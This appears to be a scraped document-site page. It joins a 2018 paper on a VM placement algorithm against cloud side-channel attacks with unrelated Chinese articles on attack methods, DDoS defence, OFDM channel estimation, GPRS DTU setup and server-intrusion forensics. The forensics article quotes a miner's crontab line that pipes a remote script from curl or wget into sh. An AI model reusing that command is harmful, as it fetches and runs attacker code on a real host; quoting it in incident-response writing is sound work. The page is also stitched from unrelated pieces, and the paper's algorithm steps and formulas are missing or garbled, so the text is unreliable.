基于可扩展VM布局算法的优先选择服务器减轻云计算中的侧信道攻击(IJWMT-V8-N1-6)

基于可扩展VM布局算法的优先选择服务器减轻云计算中的侧信道攻击(IJWMT-V8-N1-6)
基于可扩展VM布局算法的优先选择服务器减轻云计算中的侧信道攻击(IJWMT-V8-N1-6)

I.J. Wireless and Microwave Technologies, 2018, 1, 50-59

Published Online January 2018 in MECS(https://www.360docs.net/doc/fa9253316.html,)

DOI: 10.5815/ijwmt.2018.01.06

Available online at https://www.360docs.net/doc/fa9253316.html,/ijwmt

Previously-Selected-Server-First based Scalable VM Placement Algorithm for Mitigating Side Channel Attacks in Cloud Computing Adi Maheswara Reddy G a, K Venkata Rao b, JVR Murthy c

a Research Scholar, Department of CSE, JNTUK, Kakinada, AP, INDIA

b Department of CSE, Vignan Institute of Information Technology Visakhapatnam, AP, INDIA

c Department of CSE, JNTUK College of Engineering, Kakinada, AP, INDIA

Received: 08 September 2017; Accepted: 11 October 2017; Published: 08 January 2018

Abstract

Pertaining to the rapid usage of cloud computing, cloud based approaches are growing as an fascinating domain for numerous malignant tasks. Security is one of the vital issues faced by the cloud computing environment while sharing resources over the internet. Consumers are facing distinct security hazards while using cloud computing platform. Previous works mainly attempted to mitigate the side channels attacks by altering the infrastructure and the internal procedures of the cloud stack. However, the deployments of these alterations are not so easy and could not resist the attacks. In this paper, the authors attempted to solve the issues by enhancing the VM Placement policies in such a way that, it is complex for the invaders to collocate their object. A secure Dynamic VM placement approach is presented for the VM allocations into different servers in the cloud. The performance comparison of the suggested methodology is shows that the proposed approach has better efficiency evaluations such as hit rate, loss rate and resource loss when compared to other V M placement policies.

Index Terms: Cloud Security, Co-resistance Attacks, VM placement policy, PSSF, Greedy Algorithm, VM migration

? 2018 Published by MECS Publisher. Selection and/or peer review under responsibility of the Research Association of Modern Education and Computer Science

1.Introduction

There is an expanding complication and rapid enlargement in the network appliance amenities in the current era. Thus, it is essential to incorporate and consolidate the IT infrastructure for flexible centralized control and * Corresponding author. Tel:

E-mail address:

administration such that the complete ownership price could be diminished consistently. Under this situation, the cloud computing conception is introduced [16].Cloud computing is a developing scientific archetype that contributes to a flexible, expandable and good infrastructure and amenities for organizations. Cloud information are accumulated and accessed in an isolated server along with the facilities given by cloud service holders. Certain instances of cloud service holders are Amazon, Google's Application, IBM, etc., that has enlarged as a standard computing and storage service prototype for individual, business, and government projects apart from autonomous computing [14, 15], grid computing [13] and service computing [12].

Cloud computing security defines both physical and logical security problems over entire diverse service prototypes of software, platform and infrastructure. While sharing the resources over the internet, it also means customers are disclosed to added liability obtained through other inhabitants with whom the resources are being shared. Such sharing enables malicious tenants to have chance to attack another inhabitants on the similar physical node. Side-channel attack is absolutely this type of approach that the invaders beneath the cloud atmosphere that could attain the accessible patterns of CPU, memory and network of other inhabitants on the identical hardware by means of side-channel attack, such that they could achieve the private, financial and economical secrets of other inhabitants.

Thus numerous techniques are priory introduced to defend against the side channels attacks in Cloud Computing. Amongst which the VM placement algorithm or VM allocation policy is the utmost important and straight forward control which is employed to effect the possibility of co-location. Thus, directed to construct a secure protocol that could considerably maximize the complexity for invaders to obtain co-residence and mitigate side channel attacks. Accordingly, in this paper, a new dynamic VM Placement algorithm is suggested that attempts to the address the issue of scalability in already existing approaches.

The paper suggested the dynamic approach to allocate the VM in the server domains such that the influence of co-resistance amongst the machines are minimized and hence mitigates the side channel attacks by means previously-selected-server-first policy (PSSF) and baseline greedy algorithm. The issue of scalability in the greedy approach is addressed with the PSSF policy. Here, instead of considering the n-ways swaps of the VM of every user, the proposed approach minimized this search domain by selecting only the essential moves that resists the co-resistance attacks using PSSF policy. Thereby, a dynamic VM placement algorithm is proposed to mitigate the side channel attacks.

1.1 Organization of the paper

An introduction to the cloud computing security and issues such as side channel attacks and its related techniques along with the motivation for the proposed approach is given in this section. Previous literature works on the mitigation techniques of side channel attacks and enhanced VM placement policies are briefly discussed in section 2. A detailed explanation of the proposed PSSF based Scalable VM Placement Algorithm is given in section 3. The experimental results for the proposed approach is briefly given in section 4 followed by conclusions and references given in section 5 and section 6 respectively.

2.Related Works

A lot of recent work has proposed isolation techniques to reduce unpredictability by eliminating resource interference. Below we discuss related work with respect to cloud vulnerabilities, such as VM placement detection and side-channel attacks.

In [1], the usage of virtualization to distinguish an evaluation from malevolent customers those co-locate with its expanding ubiquitous. Demonstrating the side-channel attacks with loyalty is adequate to exhilarate a cryptographic key from a victim VM which could be mounted. It includes preventing the target VM with adequate frequency to facilitate fine-grained observing of its I-cache movement, filtering out enormous sources of noise in the I-cache rising from influence of hardware and software and core immigration that renders

numerous invaders interpretations inappropriate to the job of mining victim secrets.

A virtual cloud resource allotted model VCRAMU (Utility-based Virtual Cloud Resource Allocation Model) is suggested in [3]. In this approach, the issue of allocation of virtual cloud resources is preoccupied as a utility enlargement issue considering the trade-offs amongst the efficacy of the data centre and the efficiency of the applications into consideration, and exploiting the efficacy on the basis of meet user’s presentation. An indigenous decision procedure and a universal decision procedure are likewise deliberated to resolve the issue. Additionally, this prototype could obtain an advanced service of the data centre when matched with other prototypes. Nevertheless, whenever the dimension of the cloud computing atmosphere becomes higher and higher, there would be certain issues with the prototype and approaches like performance holdups.

In [4], employing side channel attack, it could be very flexible to obtain the confidential data from a machine as it is appreciable notion to provide security in contrast to side channel attack in cloud computing employing the amalgamation of simulated firewall appliance and arbitrary encryption decryption since it accomplishes security against both front end and back end of cloud computing structure and likewise provide RAS (Reliability, Availability, and Security). It executes virtual firewall in cloud server thus whenever enemies recognize targeted VM in cloud infrastructure and formerly place an instantiate VM to targeted VM, simulated firewall avert this assignment phase inside channel attack due to the execution of virtual firewall in cloud server. Applies arbitrarily encryption decryption using concept of confusion and diffusion.

Cloud multi-tenancy has motivated a line of work on locating a target VM in a public cloud. Ristenpart et al.

[5] showed that the IP machine naming conventions of cloud providers allowed adversarial users to narrow down where a victim VM resided in a large-scale cluster. Xu et al. [10] and Herzberg et al. [8] extended this study, resulting, in part, in cloud providers changing their naming conventions, reducing the effectiveness of network topology-based co-residency attacks. Following this evolution Varadarajan et al. [9] evaluated the susceptibility of three cloud providers to VM placement attacks, and showed that techniques like virtual private clouds (VPC) render some of them ineffective.

Xu et al. [7] studied the extent of co-residency threats in EC2 and the efficiency of their detection using network route traces. Bates et al. [11] proposed a system where adversarial VMs introduce traffic congestion in host NICs, which is then detected by remote clients. Similarly, Zhang et al. [6] designed HomeAlone, a system that detects VM placement by issuing side-channels in the L2 cache during periods of low traffic. Finally, Han et al. [2] proposed VM placement strategies that defend against placement attacks, although they are not specifically geared towards public clouds. With Bolt, we show that leveraging simple data mining techniques on the pressure applications introduce in shared resources increases the accuracy of VM co-residency detection significantly. Bolt does not rely on knowing the cloud’s network topology or host IPs, making it resilient against recent techniques, such as VPCs.

3.Dynamic PSSF Based Scalable VM Placement Algorithm

In this section, a novel dynamic VM placements Algorithm is introduced that addressed one of the issues in NOMAD Virtual Machine placement Algorithm [17]. This Algorithm primarily addresses three main challenges such as to obtain an efficient algorithm, large search space due to more numbers of moves amongst the machines and Deployment of NOMAD system into cloud environment. The baseline greedy algorithm is employed as the VM placement policy in NOMAD [17] where the author mainly focuses on the scalability issues of large search space that is generated due to large number of moves in the baseline greedy algorithm i.e. numerous servers with numerous kinds of moves such as freely inserting a VM into the empty slots, pair wise swapping between VM, n-ways swapping and so on.

The primary goal of the proposed dynamic VM placement algorithm is to mitigate the co-resistant attacks in clouds environment and minimize the information leakage amongst the shared virtual machines of different users in the same servers. This issue is addressed by introducing the dynamic methodology for the VM Placement policy. The proposed methodology is implemented in two phases. In first phase the set of moves for

the VM of different users in different servers are obtained and in the subsequent phase these set of moves are employed for the VM baseline greedy placement algorithm.

3.1 Generation of set of moves using Previously-Selected-Server-First policy (PSSF)

From the existing VM placement policy, it is inferred that if the number of servers to which every individuals VMs that is allotted is restricted, formerly the victim VMs are lesser exposed to the invader, which limits the influence of co-resident attacks. PSSF policy also works on this idea where the highest priority is given to servers that previously host or once hosted VMs from the same user, whenever a novel VM appeal is being processed. The PSSF policy determines the set of moves that need to be initiated initially if any new VM of any user comes in. This policy mainly optimizes the search spaces by reducing the average number of individuals per server. In order to minimize the number of individuals per server, whenever an individual generates new VMs, they would initially be allocated to those servers that are previously host or once hosted VMs began by the same user. The Algorithm for PSSF policy is given as:

1. Initialize the list of PSSF and NPSSF as

2. For every server in

If ( has adequate residual resources)

If (previously hosts or hosted u’s VMs)

If (hosts fewer compared to N* of u’s VMs)

Else

3.

)

Else

4. I = the number of servers with the similar group index and residual resources as the initial server in

5. Mark as earlier designated for individual and return it.

The list of term present in PSS List and NPSS List represents the set of moves or types of moves that is required to initiate the baseline Dynamic placement Algorithm. Along with the generations of different types of moves, this approach also resists the co-resistance attacks to certain extent. For instance: the victim individual initiates ten VMs, and they are equally allotted to two servers, and . As a consequence, these two servers

host higher VMs compared to other servers currently, and it is improbable for additional VM appeals to be allotted to them till entire other servers likewise host the similar amount of VMs. Nevertheless, it is complex for invaders to obtain co-residence, as the victim VMs are assigned in combined and as outcomes are lesser exposed.

3.2 Baseline Dynamic VM placements Algorithm

The Baseline Dynamic VM Placement Approach prerequisites to evaluate the VM placements for each epoch with the aim of reducing the data leakage amongst random pairs of cloud clients, whereas guaranteeing that the global price of performing so (i.e., amount of relocations) is low. Specifically, need to reduce the complete data leakage function tend to certain budget on the immigration overhead measured in terms of total amount of immigrations. The issue victim dimensions such higher public cloud deployment with tens of thousands of servers with coarsely 5-6 VM slots per server. In the baseline dynamic approach, the numbers of

moves are generated from the PSSF policy involving VM’s. Instead of considering n-way swaps between the pair of VM, the obtained set of moves determines the size of the search space.

Each movement comprises of price acquired as number of immigrations essential to implement the change and the profit it earns in terms of the minimization in data leakage. Formerly, in every repetition of the approach, the finest movements are selected in between the migration budget that provides the extreme profit in terms of minimization in data leakage. Every movement theoretically fluctuations the position of the system and consequently the benefit of upcoming movements might minimize or maximize pertaining on the movements that are priori made such as moving VM might understand that whole priori deliberated group of movements comprising this instance might no longer offer any kind value. Therefore, the group of permitted movements are unambiguously re-estimated and the profit that is yield using PSSF policy is employed for next phase. The Algorithm for Baseline Dynamic Placement algorithm is given a

1.

2.

3.

4.

4.Experimental Results and Its Analysis

The Experimental Results for the proposed dynamic PSSF based VM placement algorithm is given in this section. The performance of this approach is carried out using 20 different Virtual Machines in 4 different servers. The Experimental setup for the proposed approach is implemented using a local Open Stack Icehouse deployment for the test bed armed with 2.50 GHz 64-bit Intel Xeon CPU L5420 processor having 8-cores, 16 GB RAM, 500 to 1000GB disks, and two network interfaces with 100Mbps and 1Gbps speed. Every System executes on Ubuntu 14.04. For this experimentation, numbers of users are similar to the number of servers present and the initial structure comprises of 2 VMs per user. For each iteration, 15% of new VMs will attain and 15% of prevailing VMs will leave, generating continuous churn for each iteration. The migration budget was set to 15% for validating the experimentation and an ILP solution. The power sites are aligned to execute the CPU continuously at complete speed so as to minimize the measurement noise. The virtual machines employed in the executed the 64-bit version of Windows 7 Enterprise Edition and have 2 GB of RAM. This is suggested minimal quantity of memory for SPEC 2006 CPU standard.

4.1 Metric for Side Channel leakage

1.Side-Channel Vulnerability Factor (SVF): SVF is a parameter and method for evaluating a side

channel’s leakine ss. It depends on the surveillance that there are two appropriate parts of data in a side channel attack: the data that an invaders is attempting to attain (delicate information), and information that an invaders could truly acquire. To estimate leakiness, it merely ought to calculate the correlation amongst these two parts of datasets.

2.Signal-to-noise ratio (SNR): the SNR of the signal x as is given as , where is the value of

the signal taken at the key, and and are the mean and variance of x respectively. SNR is used to compare the level of the desired signal to the level of the background noise. It measures how complex it is for the invaders to obtain beneficial knowledge from the noise.

Table 1. Comparison of different Mitigation Technique for SVF and SNR

Table 1 refers to different mitigation approaches for cache based side channel attack. The comparison SVF and SNR values are given in this table. From the table we can infer that the SVF and SNR values are less in the proposed Dynamic VM Placement Policy compared to the hybrid and PSSF VM Placement policy which in turn indicates that, the leakage of information in this model is less compared to other approaches.

4.2 Algorithms Efficiency Evaluation

In this paper, hit rate, loss rate and Resource loss are considered to be measures for Algorithm efficiency evaluation. The mischievous consumers would be capable to achieve greater rate of hit through merely applying for huge VMs once. The mischievous residents will be capable to cause a higher loss rate of victim

Fig.1. Hit rates of Different VM Placement Approaches

residents through applying for VMs in batches. Fig 1 represents the Hit rates of different VM placement Approaches. From this figure it is clearly shown that the hit rate of the proposed dynamic approach is very less compared to the other approaches.

Fig.2. Loss rates of Different VM Placement Approaches

Fig 2 represents the loss rates of different VM placement Approaches. From this figure it is clearly shown that the loss rate of the proposed dynamic approach is very less compared to the other approaches. Fig 3 represents the Resource Loss of different VM placement Approaches. From this figure it is clearly shown that the Resource loss of the proposed dynamic approach is very less compared to the other approaches.

Fig.3. Resource Loss of Different VM Placement Approaches

5.Conclusions

Security is the foremost issues faced by the cloud computing environment while sharing resources over the internet. Users could face novel security risks whenever they employ cloud computing environment. The primary goal of the proposed dynamic VM placement algorithm is to mitigate the co-resistant attacks in clouds environment and minimize the information leakage amongst the shared virtual machines of different users in the same servers. This issue is addressed by introducing the dynamic methodology for the VM Placement policy. The proposed methodology is implemented in two phases. In first phase the set of moves for the VM of different users in different servers are obtained and in the subsequent phase these set of moves are employed for the VM baseline greedy placement algorithm.

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[9]V. Varadarajan, Y. Zha ng, T. Ristenpart, and M. Swift, “A placement vulnerability study in multi-tenant

public clouds,” in Proc. of the 24th USENIX Security Symposium (USENIX Security), Washington, DC, 2015.

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Authors’ Profiles

Adi Maheswara Reddy G: Research Scholar, Department of CSE, JNTUK, Kakinada,

AP, INDIA. Completed M.Tech in Computer Science & Engineering from JNTU and

currently working as Manager, Software Engineer in PAREXEL INTERNATIONAL,

having overall 11 years of experience in field of Information Technology. Major research

interests include Parallel Programming, Distributed Systems, Network Security and Cloud

Computing.

Dr. Koduganti Venkata Rao received the Ph.D degree from Andhra University in

Computer Science and Systems Engineering in 2008. He is currently Professor in the

department of Computer Science and Engineering and Dean IQAC at Vignan’s Institute of

Information Technology, Visakhapatnam. His major research interests include key

management, authentication protocols and light weight protocol analysis and design in

networks.

Dr.J.V.R.Murthy working as Professor in the Department of Computer Science &

Engineering, University College of Engineering, Kakinada, and Director Incubation Center

JNTUK. Held the positions Director Industry Institute Interaction Placement & Training,

JNTUK, Director CoERD and Chairmen Board Of Studies CSE & IT JNTUK. A.P., INDIA.

Over 24 years of Teaching, Research and Industrial experience in the field of Computer

Science with specialization in Data warehousing and Mining. Started the career as

computer programmer and occupied various positions such as lecturer, Assistant professor

and professor.

How to cite this paper: Adi Maheswara Reddy G, K Venkata Rao, JVR Murthy," Previously-Selected-Server-First based Scalable VM Placement Algorithm for Mitigating Side Channel Attacks in Cloud Computing", International Journal of Wireless and Microwave Technologies(IJWMT), Vol.8, No.1, pp. 50-59, 2018.DOI: 10.5815/ijwmt.2018.01.06

计算机网络攻击常见手法及防范措施

计算机网络攻击常见手法及防范措施 一、计算机网络攻击的常见手法 互联网发展至今,除了它表面的繁荣外,也出现了一些不良现象,其中黑客攻击是最令广大网民头痛的事情,它是计算机网络安全的主要威胁。下面着重分析黑客进行网络攻击的几种常见手法及其防范措施。 (一)利用网络系统漏洞进行攻击 许多网络系统都存在着这样那样的漏洞,这些漏洞有可能是系统本身所有的,如WindowsNT、UNIX等都有数量不等的漏洞,也有可能是由于网管的疏忽而造成的。黑客利用这些漏洞就能完成密码探测、系统入侵等攻击。 对于系统本身的漏洞,可以安装软件补丁;另外网管也需要仔细工作,尽量避免因疏忽而使他人有机可乘。 (二)通过电子邮件进行攻击 电子邮件是互联网上运用得十分广泛的一种通讯方式。黑客可以使用一些邮件炸弹软件或CGI程序向目的邮箱发送大量内容重复、无用的垃圾邮件,从而使目的邮箱被撑爆而无法使用。当垃圾邮件的发送流量特别大时,还有可能造成邮件系统对于正常的工作反映缓慢,甚至瘫痪,这一点和后面要讲到的“拒绝服务攻击(DDoS)比较相似。 对于遭受此类攻击的邮箱,可以使用一些垃圾邮件清除软件来解决,其中常见的有SpamEater、Spamkiller等,Outlook等收信软件同样也能达到此目的。 (三)解密攻击 在互联网上,使用密码是最常见并且最重要的安全保护方法,用户时时刻刻都需要输入密码进行身份校验。而现在的密码保护手段大都认密码不认人,只要有密码,系统就会认为你是经过授权的正常用户,因此,取得密码也是黑客进行攻击的一重要手法。取得密码也还有好几种方法,一种是对网络上的数据进行监听。因为系统在进行密码校验时,用户输入的密码需要从用户端传送到服务器端,而黑客就能在两端之间进行数据监听。但一般系统在传送密码时都进行了加密处理,即黑客所得到的数据中不会存在明文的密码,这给黑客进行破解又提了一道难题。这种手法一般运用于局域网,一旦成功攻击者将会得到很大的操作权益。另一种解密方法就是使用穷举法对已知用户名的密码进行暴力解密。这种解密软件对尝试所有可能字符所组成的密码,但这项工作十分地费时,不过如果用户的密码设置得比较简单,如“12345”、“ABC”等那有可能只需一眨眼的功夫就可搞定。 为了防止受到这种攻击的危害,用户在进行密码设置时一定要将其设置得复杂,也可使用多层密码,或者变换思路使用中文密码,并且不要以自己的生日和电话甚至用户名作为密码,因为一些密码破解软件可以让破解者输入与被破解用户相关的信息,如生日等,然后对这些数据构成的密码进行优先尝试。另外应该经常更换密码,这样使其被破解的可能性又下降了不少。 (四)后门软件攻击 后门软件攻击是互联网上比较多的一种攻击手法。Back Orifice2000、冰河等都是比较著名的特洛伊木马,它们可以非法地取得用户电脑的超级用户级权利,可以对其进行完全的控制,除了可以进行文件操作外,同时也可以进行对方桌面抓图、取得密码等操作。这些后门软件分为服务器端和用户端,当黑客进行攻击时,会使用用户端程序登陆上已安装好服务器端程序的电脑,这些服务器端程序都比较小,一般会随附带于某些软件上。有可能当用户下载了一个小游戏并运行时,后门软件的服务器端就安装完成了,而且大部分后门软件的重生能力

服务器防御DDoS攻击的11种方法

服务器防御DDoS攻击的11种方法 1.确保所有服务器采用最新系统,并打上安全补丁。计算机紧急响应协调中心发现,几乎每个受到DDOS攻击的系统都没有及时打上补丁。 2.确保管理员对所有主机进行检查,而不仅针对关键主机。这是为了确保管理员知道每个主机系统在运行什么?谁在使用主机?哪些人可以访问主机?不然,即使黑客侵犯了系统,也很难查明。 3.确保从服务器相应的 目录或文件数据库中删除未使用的服务如FTP或NFS。Wu-Ftpd等守护程序存在一些已知的漏洞,黑客通过根攻击就能获得访问特权系统的权限,并能访问其他系统——甚至是受防火墙保护的系统。 4.确保运行在Unix上的所有服务都有TCP封装程序,限制对主机的访问权限。 5.禁止内部网通过Modem连接至PSTN系统。否则,黑客能通过电话线发现未受保护的主机,即刻就能访问极为机密的数据。 6.禁止使用网络访问程序如Telnet、Ftp、Rsh、Rlogin和Rcp,以基于PKI的访问程序如SSH取代。SSH不会在网上以明文格式传送口令,而Telnet和Rlogin则正好相反,黑客能搜寻到这些口令,从而立即访问网络上的重要服务器。此外,在Unix上应该将.rhost 和hosts.equiv文件删除,因为不用猜口令,这些文件就会提供登录访问! 7.限制在防火墙外与网络文件共享。这会使黑客有机会截获系统文件,并以特洛伊木马替换它,文件传输功能无异将陷入瘫痪。

8.确保手头有一张最新的网络拓扑图。这张图应该详细标明TCP/IP地址、主机、路由器及其他网络设备,还应该包括网络边界、非军事区(DMZ)及网络的内部保密部分。 9.在防火墙上运行端口映射程序或端口扫描程序。大多数事件是由于防火墙配置不当造成的,使DoS/DDOS攻击成功率很高,所以定要认真检查特权端口和非特权端口。 10.检查所有网络设备和主机/服务器系统的日志。只要日志出现漏洞或时间出现变更,几乎可以肯定:相关的主机安全受到了危胁。 11.利用DDOS设备提供商的设备。 遗憾的是,目前没有哪个网络可以免受DDOS攻击,但如果采取上述几项措施,能起到一定的预防作用。

信道估计算法

LS 信道估计 假设OFDM 系统模型用下式表示: P P P Y X H W =+ (1) 式中H 为信道响应;P X 为已知的导频发送信号;P Y 为接收到的导频信号;P W 为在导频子信道上叠加的A WGN 矢量。 LS 为最小二乘(Least —Square)信道估计, LS 算法就是对(1)式中的参数H 进行估计,使函数(2)最小。 ????()()()()H H P P P P P P P P J Y Y Y Y Y X H Y X H =--=-- (2) 其中P Y 是接收端导频子载波处的接受信号组成的向量;??P P Y X H =是经过信道估计后得到的导频输出信号;?H 是信道响应H 的估计值。 ??{()()}0?H P P P P Y X H Y X H H ?--?=? 由此可以得到LS 算法的信道估计值为: 11,()H H P LS P P P P P P H X X X Y X Y --== 可见,LS 估计只需要知道发送信号P X ,对于待定的参数H ,观测噪声P W ,以及接收信号P Y 的其它统计特征,都不需要其它的信息,因此LS 信道估计算法的最大优点是结构简单,计算量小,仅通过在各载波上进行一次除法运算即可得到导频位置子载波的信道特征。但是,LS 估计算法由于在估计时忽略了噪声的影响,所以信道估计值对噪声干扰以及ICI 的影响比较敏感。在信道噪声较大时,估计的准确性大大降低,从而影响数据子信道的参数估计。 LMMSE 算法的实现流程: 首先我们得到LMMSE 算法的相关公式: 211??*((()()))P P P P H LMMSE H H H H W LS H R R diag X diag X H σ--=+ 其中=()P P H H H P P R E H H 为信道矢量H 的自相关矩阵, ?LM M SE H 代表采用LMMSE 算法时信道

服务器如何防止攻击

建站一段时间后总能听到什么网站被挂马、被黑。好像入侵挂马似乎是件很简单的事情。其实,入侵并不简单,是你网站服务器的必要安全措施没做好,才会这么轻易的被攻击。 服务器安全问题很重要,之前有客户的服务器被黑、管理员账号被修改、远程端口也被改了,在网上查了很多资料并按照教程自己设置,服务器跑了没一个月竟然瘫痪了,让机房检查系统挂了,只能重做系统。做完系统进去发现数据库都有各种程度的损坏,网站文件也被篡改了,弄了好就才把网站弄好,损失很大。最后咨询很多人给服务器做了各种安全才得以解决。下面是一些关于安全方面的建议,希望这些能帮到大家! 一:挂马预防措施: 1、建议用户通过ftp来上传、维护网页,尽量不安装asp的上传程序。

2、定期对网站进行安全的检测,具体可以利用网上一些工具,如挂马检测工具! 3、asp程序管理员的用户名和密码要有一定复杂性,不能过于简单,还要注意定期更换。 4、到正规网站下载asp程序,下载后要对其数据库名称和存放路径进行修改,数据库文件名称也要有一定复杂性。 5、要尽量保持程序是最新版本。 6、不要在网页上加注后台管理程序登陆页面的链接。 7、为防止程序有未知漏洞,可以在维护后删除后台管理程序的登陆页面,下次维护时再通过ftp上传即可。 8、要时常备份数据库等重要文件。 9、日常要多维护,并注意空间中是否有来历不明的asp文件。记住:一分汗水,换一分安全! 10、一旦发现被入侵,除非自己能识别出所有木马文件,否则要删除所有文件。 11、对asp上传程序的调用一定要进行身份认证,并只允许信任的人使用上传程序。这其中包括各种新闻发布、商城及论坛程 二:挂马恢复措施:

宏电DTUGPRS远传实例

GPRS信号监测装置调试 硬件接线图 一、ADAM-4117参数设置 1.将ADAM-4117模块右侧开关拨至INIT(配置状态); 2.打开调试软件https://www.360docs.net/doc/fa9253316.html,Utility,选择相应的串口号,右击选择Search,出现对话框(图a),点击Start,直至搜索到模块()后点击Cancel; 图a 3.点击4117(*),配置并保存相应参数,如图(b)。点击右上角的“Applychange”保存设置到模块的芯片里。 图b

二、宏电H7710GPRSDTU模块参数设置 1.断电,打开调试软件sscom32.exe,选择相应串口号,设置相应参数如图c(修改参数的波特率一直为57600); 图c 2.按住空格键,通电,直至出现图d现象; 图d 3.按照帮助指示输入“H”,出现主菜单(图e),输入“C”,再输入密码“1234”,回车,进入DTU配置(C)菜单(图f); 图e图f图g 4.输入“3”,进入“数据服务中心设置(DSC)”菜单(图g), 输入“1”,配置“DSCIP地址”, ;输入“2”,配置“DSC域名”; (注:若已配置固态IP地址,则无需配置域名,即配置域名时按回车键即可;若使用动态IP地址,则将IP地址设为0.0.0.0,域名改为相应的域名地址) 输入“3”,配置“DSC通讯端口”,端口号自己定义,但必须与读取时端口号设置一致;

输入“4”,配置“DNSIP地址”, ,一般设为主站的DNSIP地址;输入“r”,保存设置输入Y或者N。 5.输入“4”进入“用户串口设置”菜单(图h) 图h图i 输入“1”,配置波特率(图i),一般采用9600bps,故输入“4”,再输入“r” 返回菜单; 输入“2”,配置数据位,一般设为8; 输入“3”,配置校验位,一般设为无校验位,故输入“1”,再输入“r”返回菜单; 输入“4”,配置停止位,一般设为1; 输入“r”,返回主菜单。 6.输入“5”,进入“特殊选项设置”菜单(图j) 图j 输入“6”,配置“通讯协议选择(透明0/DDP协议1)” ,一般选择透明,故输入“0”; 输入“7”,配置“网络连接方式(UDP0/TCP1)” ,一般采用TCP连接方式,故输入“1”; 输入“r”,再输入“r”返回主菜单。

服务器被攻击解决方法

很多客户网站服务器被入侵和攻击,找到我们寻求技术支持与帮助,有些网站被篡改,被跳转,首页内容被替换,服务器植入木马后门,服务器卡顿,服务器异常网络连接,有的客户使用的是阿里云服务器,经常被提醒服务器有挖矿程序,以及网站被上传webshell的安全提醒,包括腾讯云提示服务器有木马文件,客户网站被攻击的第一时间,是需要立即处理把损失降到最低,让网站恢复正常的访问。根据我们的处理经验,总结了一些服务器被攻击、被黑的排查办法,专门用来检查服务器第一时间的安全问题,看发生在哪里,服务器是否被黑、被攻击,哪些被篡改等等。 具体排查服务器被攻击的方法: 首先我们会对当前服务器的IP,以及IP的地址,linux服务器名称,服务器的版本是centos,还是redhat,服务器的当前时间,进行收集并记录到一个txt文档里,接下来再执行下一步,对当前服务器的异常网络连接以及异常的系统进程检查,主要是通过netstat -an以及-antp命令来检查服务器存在哪些异常的IP连接。并对连接的IP,进行归属地查询,如果是国外的IP,直接记录当前进程的PID值,并自动将PID的所有信息记录,查询PID所在的linux文件地址,紧接着检查当前占用CPU大于百分之30的进程,并检查该进程所在的文件夹。 在我们处理客户服务器被攻击的时候发现很多服务器的命令被篡改,比如正常的PS查看进程的,查询目录的 cd的命令都给篡改了,让服务器无法正常使用命令,检查服务器安全造成了困扰。对服务器的启动项进行检查,有些服

务器被植入木马后门,即使重启服务器也还是被攻击,木马会自动的启动,检 查linux的init.d的文件夹里是否有多余的启动文件,也可以检查时间,来判 断启动项是否有问题。 再一个要检查的地方是服务器的历史命令,history很多服务器被黑都会留下痕迹,比如SSH登录服务器后,攻击者对服务器进行了操作,执行了那些恶意命令都可以通过history查询的到,有没有使用wget命令下载木马,或者 执行SH文件。检查服务器的所有账号,以及当前使用并登录的管理员账户, tty是本地用户登录,pst是远程连接的用户登录,来排查服务器是否被黑,被攻击,也可以检查login.defs文件的uid值,判断uid的passwd来获取最近新建的管理员账户。执行cat etc/passwd命令检查是否存在异常的用户账户,包括特权账户,UID值为0. 最重要的是检查服务器的定时任务,前段时间某网站客户中了挖矿病毒, 一直占用CPU,查看了定时任务发现每15分钟自动执行下载命令,crontab -l */15 * * * * (curl -fsSL https://https://www.360docs.net/doc/fa9253316.html,/raw/TS4NeUnd||wget -q-O- https://https://www.360docs.net/doc/fa9253316.html,/raw/TS4NeUnd)|sh 代码如上,自动下载并执行SH木马文件。定时任务删都删不掉,最后通过检查系统文件查到了木马,并终止进

预防DdoS攻击从合理配置服务器及架设防火墙开始

预防DdoS攻击从合理配置服务器及架设防火墙开始 一、合理配置服务器有效预防DdoS攻击 1、拒绝服务攻击的发展 从拒绝服务攻击诞生到现在已经有了很多的发展,从最初的简单Dos到现在的DdoS。那么什么是Dos和DdoS呢?DoS是一种利用单台计算机的攻击方式。而DdoS(Distributed Denial of Service,分布式拒绝服务)是一种基于DoS的特殊形式的拒绝服务攻击,是一种分布、协作的大规模攻击方式,主要瞄准比较大的站点,比如一些商业公司、搜索引擎和政府部门的站点。DdoS攻击是利用一批受控制的机器向一台机器发起攻击,这样来势迅猛的攻击令人难以防备,因此具有较大的破坏性。如果说以前网络管理员对抗Dos可以采取过滤IP地址方法的话,那么面对当前DdoS众多伪造出来的地址则显得没有办法。所以说防范DdoS攻击变得更加困难,如何采取措施有效的应对呢?下面我们从两个方面进行介绍。 2、预防为主保证安全 DdoS攻击是黑客最常用的攻击手段,下面列出了对付它的一些常规方法。 (1)定期扫描

要定期扫描现有的网络主节点,清查可能存在的安全漏洞,对新出现的漏洞及时进行清理。骨干节点的计算机因为具有较高的带宽,是黑客利用的最佳位置,因此对这些主机本身加强主机安全是非常重要的。而且连接到网络主节点的都是服务器级别的计算机,所以定期扫描漏洞就变得更加重要了。 (2)在骨干节点配置防火墙 防火墙本身能抵御DdoS攻击和其他一些攻击。在发现受到攻击的时候,可以将攻击导向一些牺牲主机,这样可以保护真正的主机不被攻击。当然导向的这些牺牲主机可以选择不重要的,或者是linux 以及unix等漏洞少和天生防范攻击优秀的系统。 (3)用足够的机器承受黑客攻击 这是一种较为理想的应对策略。如果用户拥有足够的容量和足够的资源给黑客攻击,在它不断访问用户、夺取用户资源之时,自己的能量也在逐渐耗失,或许未等用户被攻死,黑客已无力支招儿了。不过此方法需要投入的资金比较多,平时大多数设备处于空闲状态,和目前中小企业网络实际运行情况不相符。 (4)充分利用网络设备保护网络资源 所谓网络设备是指路由器、防火墙等负载均衡设备,它们可将网络有效地保护起来。当网络被攻击时最先死掉的是路由器,但其他机器没有死。死掉的路由器经重启后会恢复正常,而且启动起来还很快,没有什么损失。若其他服务器死掉,其中的数据会丢失,而且重启服务器又是一个漫长的过程。特别是一个公司使用了负载均衡设备,这

信道估计

